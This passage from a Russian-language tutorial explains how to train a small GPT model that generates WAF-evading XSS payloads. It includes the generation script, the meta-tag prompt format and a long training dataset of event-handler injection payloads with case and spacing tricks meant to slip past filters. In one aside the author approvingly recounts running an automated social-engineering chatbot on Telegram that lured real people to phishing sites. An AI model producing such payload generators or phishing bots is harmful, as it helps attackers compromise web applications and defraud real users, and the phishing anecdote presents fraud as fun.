itos = checkpoint["itos"]
model = GPT(config)
model.load_state_dict(checkpoint["model"])
model.to(device)
model.eval()
weights_only=False нужно для PyTorch 2.6+, потому что чекпоинт содержит не только веса, но и Python-объекты (stoi, itos).
Функция generate
def generate(prompt, max_tokens=MAX_NEW_TOKENS, temperature=TEMPERATURE, top_k=TOP_K):
input_ids = torch.tensor([encode(prompt)], dtype=torch.long, device=device)
# ... генерация токенов ...
return prompt + decode(context[0, input_ids.size(1):].tolist())
Она получает на вход строку-промпт и генерирует продолжение, пока не встретит перенос строки или не достигнет лимита.
Тестовые промпты
test_prompts = [
"[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]",
"[WAF:script,alert|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]",
"[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]",
# ...
]
Для каждого промпта модель генерирует пэйлоад. Подробнее о том, почему в коде test.py тестовые промпты именно такие расскажу далее.
Спойлер: test.py
import torch
import re
from model import GPTConfig, GPT
CHECKPOINT_PATH = "out/best.pt"
MAX_NEW_TOKENS = 200
TEMPERATURE = 0.8
TOP_K = 50
if torch.cuda.is_available():
device = "cuda"
elif torch.backends.mps.is_available():
device = "mps"
else:
device = "cpu"
print(f"Loading model from {CHECKPOINT_PATH}")
checkpoint = torch.load(CHECKPOINT_PATH, map_location=device, weights_only=False)
config = checkpoint["config"]
stoi = checkpoint["stoi"]
itos = checkpoint["itos"]
model = GPT(config)
model.load_state_dict(checkpoint["model"])
model.to(device)
model.eval()
print(f"Model loaded")
def encode(text):
return [stoi.get(ch, stoi.get("?", 0)) for ch in text]
def decode(ids):
return "".join([itos[i] for i in ids])
def generate(prompt, max_tokens=MAX_NEW_TOKENS, temperature=TEMPERATURE, top_k=TOP_K):
"""Генерирует продолжение промпта"""
input_ids = torch.tensor([encode(prompt)], dtype=torch.long, device=device)
if input_ids.size(1) > config.block_size:
input_ids = input_ids[:, -config.block_size:]
context = input_ids
with torch.no_grad():
for _ in range(max_tokens):
if context.size(1) > config.block_size:
context = context[:, -config.block_size:]
logits, _ = model(context)
logits = logits[:, -1, :] / temperature
if top_k is not None:
v, _ = torch.topk(logits, min(top_k, logits.size(-1)))
logits[logits < v[:, [-1]]] = float('-inf')
probs = torch.nn.functional.softmax(logits, dim=-1)
next_token = torch.multinomial(probs, num_samples=1)
context = torch.cat((context, next_token), dim=1)
token_id = next_token[0, 0].item()
char = decode([token_id])
if char == '\n':
break
return prompt + decode(context[0, input_ids.size(1):].tolist())
# ========== ТЕСТЫ ==========
print("\n" + "="*60)
print("XSS PAYLOAD GENERATION BY CONTEXT")
print("Даём модели мета-теги, она генерирует пэйлоад")
print("="*60)
test_prompts = [
"[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]",
"[WAF:script,alert|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]",
"[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]",
"[WAF:onerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]",
"[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]",
"[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]",
]
for prompt in test_prompts:
print(f"\nContext: {prompt}")
result = generate(prompt)
# Убираем сам промпт из вывода
payload = result[len(prompt):]
print(f"Payload: {payload}")
print("\n" + "="*60)
print("Done")
2.5. Порядок запуска
# 1. Подготовка датасета (один раз)
python prepare.py
# 2. Обучение (от нескольких минут до часа)
python train.py
# 3. Генерация пэйлоадов
python test.py
Глава 3. Датасет и промпты: как научить модель говорить то, что нужно
В прошлой главе мы написали код, который умеет загружать данные, обучать модель и генерировать текст. Но есть одна проблема: код — это только половина дела. Даже самая идеальная архитектура нейросети бесполезна, если она обучена на мусоре.В этой главе мы разберём, как собрать датасет, что такое промпты и почему правильный формат данных важнее, чем количество слоёв в нейросети.
3.1. Что такое промпт простыми словами
Промпт (от англ. prompt — подсказка) — это то, что вы подаёте модели на вход, чтобы она поняла, чего вы от неё хотите.В классическом понимании промпт — это вопрос или инструкция для LLM вроде ChatGPT. Вы пишете: «Напиши стих про кота», а модель генерирует стих. Промпт задаёт контекст и направление мысли.
В нашей задаче с генерацией XSS-пэйлоадов промпт — это не вопрос на естественном языке. Это мета-тег, который описывает условия, в которых будет использоваться пэйлоад.
Пример промпта из нашего датасета:
Модель видит эту строку и понимает: «Ага, WAF блокирует слова script и alert, я должен вставить пэйлоад в поле search, контекст выполнения — HTML-атрибут, кодировка UTF-8. Сейчас я сгенерирую подходящий пэйлоад».[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]
После этого модель дописывает:
"><img src=x onerror=confirm(1)>
И получается полная строка:
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onerror=confirm(1)>
Почему мы не используем промпты на русском или английском?
Потому что наша модель маленькая (6 млн параметров). Она не понимает естественный язык так, как это делает GPT-4. Ей нужен чёткий, структурированный, короткий формат. Чем меньше «шума» в промпте, тем легче модели выучить зависимость между контекстом и пэйлоадом.
В целом можно было бы увеличить размер модели и сделать формат промптов под диалог, но не вижу в этом смысла.
Хотя был случай, когда мне необходимо было реализовать диалогового чат-бота для автоматизации СИ в одной схеме, там я использовал промпты в формате:
[USER] Привет!
[AGENT] Привет, как дела?
И все это было прикручено к тг боту, который, в свою очередь, был подключен через бизнес мод к аккаунту. А нейросеть была обучена на текстовом датасете с СИ уловками. В конечном итоге я мог обрабатывать большое количество реальных людей в автоматизированом формате и заводить их на фиш сайты. Веселое было время.
3.2. Почему промпты — это тоже данные, которые нужно учитывать
Многие думают, что промпт — это просто инструкция, которую модель «понимает» благодаря магии ИИ. На самом деле модель не понимает ровно ничего. Она просто видела тысячи похожих промптов в обучающем датасете и запомнила, какое продолжение за ними обычно следует.То есть промпт — это такая же последовательность символов, как и пэйлоад. И модель учится предсказывать символы после промпта точно так же, как она учится предсказывать следующий символ в слове Hello.
Если в датасете после [WAF:script,alert|FIELD:search] всегда идёт "><img src=x onerror=confirm(1)>, модель это запомнит. Если после [WAF:onerror|FIELD:avatar|CONTEXT:url] всегда идёт javascript:alert(1), она запомнит и это.
Таким образом, промпт — это просто начало последовательности. А задача модели — дописать её правдоподобное продолжение.
3.3. Структура нашего промпта (мета-тег)
В нашем датасете промпт — это мета-тег с четырьмя параметрами:[WAF:значение|FIELD:значение|CONTEXT:значение|ENCODING:значение]
Разберём каждый параметр.
WAF — что блокирует защита
Здесь перечисляются ключевые слова, которые WAF (Web Application Firewall) пытается обнаружить и заблокировать. Например:
- script,alert — WAF ищет тег <script> и функцию alert()
- onerror — WAF блокирует атрибут onerror
- (),script,onerror — WAF ищет скобки, тег script и onerror
Зная, что блокирует WAF, модель может подобрать обходные пути:
- Если блокируют alert, можно использовать confirm или prompt
- Если блокируют script, можно использовать img с onerror
- Если блокируют скобки, можно использовать шаблонные строки или кодирование
FIELD — куда вставляется пэйлоад
Параметр FIELD указывает, в каком параметре запроса или поле ввода находится уязвимое место:Разные поля могут иметь разные ограничения по длине, допустимым символам и контексту отображения. Модель должна это учитывать.
- search — поле поиска
- username — поле имени пользователя
- comment — поле комментария
- avatar — аватар (URL)
- api — параметр API-запроса
- id — числовой идентификатор
CONTEXT — где выполняется пэйлоад
Это самый важный параметр. Он определяет, в каком контексте браузер будет интерпретировать вставленный код:
- html_attr — внутри HTML-атрибута (например, value="ПЭЙЛОАД"). Нужно закрыть кавычки и атрибут
- html_attr_single — внутри HTML-атрибута в одинарных кавычках
- html_attr_none — внутри HTML-атрибута без кавычек
- js — внутри JavaScript-кода
- js_template — внутри шаблонной строки JavaScript
- url — внутри URL (например, в параметре редиректа)
- json — внутри JSON-строки
- css — внутри CSS
- html — просто внутри HTML-кода
Примеры для разных контекстов:
ENCODING — кодировка пэйлоада
Параметр указывает, в какой кодировке нужно передать пэйлоад, чтобы обойти фильтрацию:Чем больше кодировок видела модель во время обучения, тем лучше она сможет генерировать закодированные пэйлоады для обхода WAF.
- utf8 — обычный текст
- url — URL-кодирование (%3Cscript%3E)
- hex — шестнадцатеричное кодирование (\x3c\x73\x63\x72\x69\x70\x74\x3e)
- unicode — Unicode-экранирование (\u003cscript\u003e)
- base64 — Base64
- double_url — двойное URL-кодирование (%253Cscript%253E)
3.4. Как выглядит полный пример датасета
Каждая строка в train.txt — это полный пример, состоящий из мета-тега и самого пэйлоада:Почему мы используем именно такой формат?[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onerror=confirm(1)>
[WAF:script,alert|FIELD:username|CONTEXT:js|ENCODING:utf8]'; alert(1); //
[WAF:onerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javascript:alert(1)
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<img src=x onerror=alert(1)>", "foo":"
- Всё в одной строке — модели легче учить паттерны, когда нет лишних переводов строк
- Мета-тег в начале — модель сразу видит контекст перед тем, как генерировать пэйлоад
- Структура мета-тега единообразна — [WAF:...|FIELD:...|CONTEXT:...|ENCODING:...]
- Никакого естественного языка — только то, что действительно нужно модели
3.5. Почему мы не используем ChatGPT и промпты на русском
Вы могли заметить, что мы не пишем промпты вроде:Сгенерируй XSS-пэйлоад для поля search, где WAF блокирует script и alert
На то есть несколько причин.
Причина 1. Размер модели
Наша модель имеет размер 6 с лишним миллионов параметров. Для сравнения, GPT-3 — 175 миллиардов. На 26 миллионах параметров не выучить грамматику русского языка, синтаксис HTML, логику работы WAF и при этом ещё генерировать пэйлоады. Слишком много задач на одну маленькую сеть.Причина 2. Шум
Естественный язык полон бесполезных слов. Фраза «Сгенерируй XSS-пэйлоад для поля search» содержит много символов, которые не влияют на результат. Модель будет тратить память на запоминание этих слов, а не на полезные паттерны.Причина 3. Точность
В мета-теге каждый символ важен. CONTEXT:js означает одно, а CONTEXT:html_attr — совершенно другое. В естественном языке легко допустить неоднозначность. «Вставь пэйлоад в JS» — а в какой именно JS? В атрибуте onclick? В теге <script>? В обработчике события?Мета-тег даёт однозначное, машинно-читаемое описание контекста.
3.6. Как собирать датасет
Самый простой способ — взять готовые базы XSS-пэйлоадов из открытых источников:Дальше нужно вручную или полуавтоматически разметить каждый пэйлоад мета-тегом. Для этого нужно понимать:
- PayloadsAllTheThings на GitHub
- XSS Payloads от PortSwigger
- Exploit-DB (раздел Web Applications)
- Собственные архивы с пентестов
Чем больше разнообразия в датасете, тем лучше модель будет генерализовать. Если вы хотите, чтобы модель умела обходить конкретный WAF (например, ModSecurity с CRS), добавьте в датасет пэйлоады, которые реально работают против него.
- В каком контексте этот пэйлоад сработает
- Какие ключевые слова могут заблокировать WAF
- В какой кодировке он передан
Минимальный размер датасета для демонстрации — 100-200 строк. Для реального использования нужно 5000-10000 строк.
В случае с моим личным инструментом, я составлял датасет в течении 1,5 недели (туда входили и пайлоады из публичных баз, и пайлоады из моей личной практики). Для проекта из этой статьи я просто пошел в DeepSeek, расписал ему формат промптов и попросил составить датасет, повторил это раза 3-4.
Спойлер: Датасет
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onerror=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><iMG src=x onerror=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><img src=x OnERror=cOnfIRm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><iMg Src=x oneRrOr=CONFiRM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><img src=x OnErrOR=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"> <img src = x onerror = confirm ( 1 ) >
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><Img src=x oneRroR=ConFIRM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><Img src=x oneRror=cOnfirM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><svg onload=prompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><svg onloaD=prompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><sVg ONLOaD=ProMPt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><svg OnlOaD=PRompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><SVg onload=prompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"> <svg onload = prompt ( 1 ) >
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><SVG onloaD=promPT(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><Svg ONlOaD=promPt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><body onpageshow=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><body onpageshow=coNFIRM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]'><body onpageshow=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><bODY onpageshow=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><BOdy onpageshow=confiRM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><boDY OnpAgesHoW=confirM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"> <body onpageshow = confirm ( 1 ) >
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><body OnpaGeshow=cONfirM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><img src=x onerror=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><iMg SRc=x oNERrOr=confirM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'> <img src = x onerror = confirm ( 1 ) >
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><iMg src=x onerror=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><img src=x OnErROR=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><iMg Src=x ONeRROr=coNfiRm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><img src=x oNERrOR=ConFIRM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><img src=x oNError=ConfiRM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><svg onload=prompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'> <svg onload = prompt ( 1 ) >
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><svG onload=prompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><SVG OnLOAD=pROmpt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><svg oNLoAd=PROMpt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><SvG oNloaD=pRompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><svg onLoaD=prompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><svg OnlOaD=pRoMpT(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><body onpageshow=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><body onpageshow=CoNfIRm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'> <body onpageshow = confirm ( 1 ) >
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><boDY onpageshow=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><bODy onpageshow=COnfirM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><bOdy onpagesHoW=COnfirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] autofocus onfocus=prompt(1) foo=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] AutofocUs onfocus=PrOMpT(1) FOo=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] autofoCus ONFocus=proMPt(1) foo=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] autofocus OnFOCUS=prompt(1) foo=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] autofocus onfocus=PRomPT(1) foo=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8]
autofocus
onfocus
=
prompt
(
1
)
foo
=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] autofocus onfocus=PRoMPT(1) foo=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] onmouseover=confirm(1) x=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] OnmOusEover=CONfiRm(1) X=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] onmouseover = confirm ( 1 ) x =
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] onmouseover=COnfiRM(1) x=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] OnmouseOveR=confirm(1) x=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] ONMoUseovEr=cOnfirm(1) X=
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] onmouseover=COnfiRm(1) x=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onfocus=alert(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNfoCUs=ALert(1) aUtofocUs="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onfocus=AlErt(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onfocus = alert ( 1 ) autofocus = "
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" ONFOCuS=alert(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNfOcus=alert(1) autoFOcUs="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onfocus=aLeRT(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]' onfocus=alert(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onblur=alert(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onbLUr=alert(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8] onblur=alert(1) autofocus=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onblur=aLErT(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onbLuR=aLeRT(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onblur = alert ( 1 ) autofocus = "
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onblur=AlerT(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNbluR=aLert(1) AutofoCus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onchange=alert(1) value="a
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onchange=alERt(1) value="a
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onchange=aLeRt(1) value="a
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onchange = alert ( 1 ) value = "a
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNChAnGE=aLeRT(1) value="a
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" OncHANge=alert(1) value="a
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNchanGe=ALeRT(1) vaLUe="A
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onselect=alert(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8] onselect=alert(1) autofocus=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onselect = alert ( 1 ) autofocus = "
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onselect=alerT(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onSelecT=aLert(1) AutofOcUS="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onselect=aLErT(1) autofocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsElEct=aLeRT(1) aUtOfocus="
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsubmit=alert(1)
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]' onsubmit=alert(1)
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsubMit=aLert(1)
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" ONsUBmiT=alert(1)
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNSuBmit=alerT(1)
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsubmit=alErT(1)
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsubmit=AlErt(1)
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsubmit = alert ( 1 )
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onfocus=alert(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' ONfocUS=alert(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onfocus = alert ( 1 ) autofocus = '
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onFOcuS=ALERt(1) autofOcuS='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onfocus=aLERT(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onfocus=ALERT(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' oNfocus=alErt(1) autOfoCuS='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeydown=alert(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' oNkeydown=aLert(1) autofoCuS='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onKeYdown=alERT(1) aUtofocuS='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeydown = alert ( 1 ) autofocus = '
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeydown=alERT(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeydown=AlErt(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' OnKeYdown=alert(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeyup=alert(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeyup = alert ( 1 ) autofocus = '
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeyuP=aLErt(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeyup=aLErT(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeyup=ALeRt(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' oNkeYUp=alert(1) autofocus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' OnKEyUP=aLert(1) autOfOCus='
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onkeypress=alert(1) foo=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] OnkEyPresS=alert(1) foo=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onkeypress=ALERT(1) foo=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onkeypress = alert ( 1 ) foo =
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] ONKeypress=AlERt(1) foo=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] OnKeYpresS=aLerT(1) fOo=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onkeypress=aLERT(1) foo=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onclick=alert(1) bar=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] oNClIcK=alert(1) bar=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onclick=AlERT(1) bar=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onCLick=AlerT(1) baR=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onclick=ALeRt(1) bar=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] oNCLick=ALert(1) bar=
[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onclick = alert ( 1 ) bar =
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondblclick=prompt(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondblclick=PROMPT(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondblclick=PrOMPt(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondblclick = prompt ( 1 ) autofocus = "
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" onDblclIcK=prompT(1) autofoCUS="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oNdBlClick=prOmPT(1) autoFOCUs="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrag=confirm(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrag=confIrm(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrag=cONFIRm(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrag = confirm ( 1 ) autofocus = "
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oNDraG=coNfirM(1) auTOFOCus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]' ondrag=confirm(1) autofocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ONdrAg=cOnfirm(1) aUtofocuS="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrop=prompt(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrop = prompt ( 1 ) autofocus = "
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8] ondrop=prompt(1) autofocus=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrop=Prompt(1) aUtofoCUs="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrop=PrOMpt(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondrop=PRoMPt(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ONdrop=PRoMPt(1) auTofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oninput=confirm(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oNinput=coNFIRm(1) autofoCus="
